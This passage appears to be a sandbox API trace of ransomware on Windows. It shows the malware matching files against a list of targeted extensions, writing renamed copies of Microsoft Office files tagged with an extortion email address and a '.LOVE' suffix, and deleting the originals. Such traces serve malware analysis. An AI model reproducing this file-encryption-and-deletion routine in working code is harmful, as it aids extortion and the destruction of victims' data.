Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.845] lstrlenW (lpString=".zip") returned 4 [0205.845] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.845] lstrlenW (lpString=".rar") returned 4 [0205.845] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString=".bz2") returned 4 [0205.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString=".7z") returned 3 [0205.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.845] lstrlenW (lpString=".dbf") returned 4 [0205.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.845] lstrlenW (lpString=".1cd") returned 4 [0205.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.845] lstrlenW (lpString=".jpg") returned 4 [0205.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.846] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.846] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0205.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.846] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=527958) returned 1 [0205.846] CloseHandle (hObject=0x330) returned 1 [0205.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.847] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.847] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0205.847] GetLastError () returned 0x0 [0205.847] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x80e56, lpOverlapped=0x0) returned 1 [0205.969] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x80e60, lpOverlapped=0x0) returned 1 [0205.979] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.979] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.979] SetEndOfFile (hFile=0x354) returned 1 [0205.979] CloseHandle (hObject=0x354) returned 1 [0205.990] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.990] SetEndOfFile (hFile=0x330) returned 1 [0205.995] CloseHandle (hObject=0x330) returned 1 [0205.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.996] lstrlenW (lpString=".doc") returned 4 [0205.996] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString=".docx") returned 5 [0205.996] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.996] lstrlenW (lpString=".pdf") returned 4 [0205.996] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString=".xls") returned 4 [0205.996] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString=".xlsx") returned 5 [0205.996] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.996] lstrlenW (lpString=".ppt") returned 4 [0205.996] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.996] lstrlenW (lpString=".zip") returned 4 [0205.996] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.996] lstrlenW (lpString=".rar") returned 4 [0205.996] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString=".bz2") returned 4 [0205.996] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString=".7z") returned 3 [0205.996] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.996] lstrlenW (lpString=".dbf") returned 4 [0205.996] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.996] lstrlenW (lpString=".1cd") returned 4 [0205.996] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.997] lstrlenW (lpString=".jpg") returned 4 [0205.997] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.997] lstrlenW (lpString=".doc") returned 4 [0205.997] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString=".docx") returned 5 [0205.997] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.997] lstrlenW (lpString=".pdf") returned 4 [0205.997] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString=".xls") returned 4 [0205.997] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString=".xlsx") returned 5 [0205.997] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.997] lstrlenW (lpString=".ppt") returned 4 [0205.997] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.997] lstrlenW (lpString=".zip") returned 4 [0205.997] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.997] lstrlenW (lpString=".rar") returned 4 [0205.997] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString=".bz2") returned 4 [0205.997] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString=".7z") returned 3 [0205.997] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.997] lstrlenW (lpString=".dbf") returned 4 [0205.997] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.997] lstrlenW (lpString=".1cd") returned 4 [0205.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0205.998] lstrlenW (lpString=".jpg") returned 4 [0205.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.998] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0205.998] lstrlenW (lpString="AG00004_.GIF") returned 12 [0205.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.035] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=9024) returned 1 [0206.035] CloseHandle (hObject=0x364) returned 1 [0206.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0206.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.035] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.035] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0206.035] GetLastError () returned 0x0 [0206.036] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2340, lpOverlapped=0x0) returned 1 [0206.069] WriteFile (in: hFile=0x378, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2350, lpOverlapped=0x0) returned 1 [0206.070] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.070] WriteFile (in: hFile=0x378, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.070] SetEndOfFile (hFile=0x378) returned 1 [0206.070] CloseHandle (hObject=0x378) returned 1 [0206.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.071] SetEndOfFile (hFile=0x364) returned 1 [0206.072] CloseHandle (hObject=0x364) returned 1 [0206.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0206.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.072] lstrlenW (lpString=".doc") returned 4 [0206.072] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.072] lstrlenW (lpString=".docx") returned 5 [0206.072] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.072] lstrlenW (lpString=".pdf") returned 4 [0206.072] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.072] lstrlenW (lpString=".xls") returned 4 [0206.072] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.072] lstrlenW (lpString=".xlsx") returned 5 [0206.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.073] lstrlenW (lpString=".ppt") returned 4 [0206.073] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.073] lstrlenW (lpString=".zip") returned 4 [0206.073] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.073] lstrlenW (lpString=".rar") returned 4 [0206.073] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.073] lstrlenW (lpString=".bz2") returned 4 [0206.073] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.073] lstrlenW (lpString=".7z") returned 3 [0206.073] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.073] lstrlenW (lpString=".dbf") returned 4 [0206.073] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.073] lstrlenW (lpString=".1cd") returned 4 [0206.073] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.073] lstrlenW (lpString=".jpg") returned 4 [0206.073] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.073] lstrlenW (lpString=".doc") returned 4 [0206.073] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.073] lstrlenW (lpString=".docx") returned 5 [0206.073] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.073] lstrlenW (lpString=".pdf") returned 4 [0206.073] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.073] lstrlenW (lpString=".xls") returned 4 [0206.073] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.073] lstrlenW (lpString=".xlsx") returned 5 [0206.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.073] lstrlenW (lpString=".ppt") returned 4 [0206.073] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.074] lstrlenW (lpString=".zip") returned 4 [0206.074] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.074] lstrlenW (lpString=".rar") returned 4 [0206.074] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.074] lstrlenW (lpString=".bz2") returned 4 [0206.074] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.074] lstrlenW (lpString=".7z") returned 3 [0206.074] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.083] lstrlenW (lpString=".dbf") returned 4 [0206.083] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.084] lstrlenW (lpString=".1cd") returned 4 [0206.084] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0206.084] lstrlenW (lpString=".jpg") returned 4 [0206.084] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.084] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.084] lstrlenW (lpString="AG00037_.GIF") returned 12 [0206.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.085] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=6684) returned 1 [0206.085] CloseHandle (hObject=0x330) returned 1 [0206.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0206.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.086] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.086] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.086] GetLastError () returned 0x0 [0206.086] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0206.213] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1a20, lpOverlapped=0x0) returned 1 [0206.214] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.214] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.214] SetEndOfFile (hFile=0x364) returned 1 [0206.214] CloseHandle (hObject=0x364) returned 1 [0206.215] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.215] SetEndOfFile (hFile=0x330) returned 1 [0206.216] CloseHandle (hObject=0x330) returned 1 [0206.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0206.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.217] lstrlenW (lpString=".doc") returned 4 [0206.217] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.217] lstrlenW (lpString=".docx") returned 5 [0206.217] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.217] lstrlenW (lpString=".pdf") returned 4 [0206.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.217] lstrlenW (lpString=".xls") returned 4 [0206.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.217] lstrlenW (lpString=".xlsx") returned 5 [0206.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.217] lstrlenW (lpString=".ppt") returned 4 [0206.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.217] lstrlenW (lpString=".zip") returned 4 [0206.217] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.217] lstrlenW (lpString=".rar") returned 4 [0206.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.217] lstrlenW (lpString=".bz2") returned 4 [0206.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.217] lstrlenW (lpString=".7z") returned 3 [0206.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.217] lstrlenW (lpString=".dbf") returned 4 [0206.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.217] lstrlenW (lpString=".1cd") returned 4 [0206.217] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.217] lstrlenW (lpString=".jpg") returned 4 [0206.218] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.218] lstrlenW (lpString=".doc") returned 4 [0206.218] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.218] lstrlenW (lpString=".docx") returned 5 [0206.218] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.218] lstrlenW (lpString=".pdf") returned 4 [0206.218] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.218] lstrlenW (lpString=".xls") returned 4 [0206.218] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.218] lstrlenW (lpString=".xlsx") returned 5 [0206.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 